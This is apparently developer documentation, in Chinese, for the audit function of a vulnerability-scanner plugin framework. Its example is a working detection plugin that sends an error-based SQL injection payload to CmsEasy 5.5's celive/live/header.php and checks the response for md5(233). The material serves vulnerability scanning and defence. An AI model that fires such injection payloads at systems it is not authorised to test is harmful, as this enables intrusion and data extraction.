• audit
    • 参数
    • 返回值
    • 范例

    audit


    审计函数,该方法为插件继 assign 函数后被调用的函数,在 assign 中判断当前扫描服务与该插件对应的服务相等后,便会调用该插件的 audit 函数。插件中必须声明此方法。如果插件中逻辑较为复杂,开发者可自行封装方法,并在 audit 中调用执行即可。

    1. audit(arg)

    参数

    • arg

      该插件所对应的 Service 共同约定的参数,一般为一个经过过滤的链接,具体参数格式可参考 assign 函数中 arg 参数。

    返回值

    无。如果检测到存在漏洞,则直接使用 security_info 等报告方法直接输出漏洞报告。

    范例

    以下为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞 的扫描插件。该漏洞为报错注入,如果 Payload 执行成功,则会在返回页面中显示执行成功的 md5(233) 的值。

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. # __author__ = 'Medici.Yan'
    4. # 引入需要用到的标准库
    5. import urllib
    6. # assign 验证任务的指纹
    7. def assign(service, arg):
    8. if service == fingerprint.cmseasy: # 指纹为 cmseasy
    9. return True, arg # 返回类型为 tuple
    10. # audit 审计函数,通过指纹验证后调用该函数
    11. def audit(arg):
    12. # 此插件中 arg 为提交的网址
    13. # 构造要提交数据的目标 URL
    14. target = arg + '/celive/live/header.php'
    15. # 此漏洞要发送的 POST 数据(Payload)
    16. post_data = {
    17. 'xajax': 'LiveMessage',
    18. 'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
    19. "floor(rand(0)*2),(select md5(233)))a from "
    20. "information_schema.tables group by a)b),"
    21. "'','','','1','127.0.0.1','2') #"
    22. }
    23. # 通过 hackhttp 发送 Payload 到目标
    24. code, head, body, errcode, redirect_url = hackhttp.http(
    25. target, post=urllib.urlencode(post_data))
    26. # 验证是否存在漏洞
    27. if 'e165421110ba03099a1c0393373c5b43' in body:
    28. # 存在漏洞则输出目标 URL
    29. security_hole(target)
    30. # 本地测试时需要加 main 用于调用
    31. if __name__ == '__main__':
    32. # 导入 sdk
    33. from dummy import *
    34. # 调用 audit 与 assign
    35. audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1])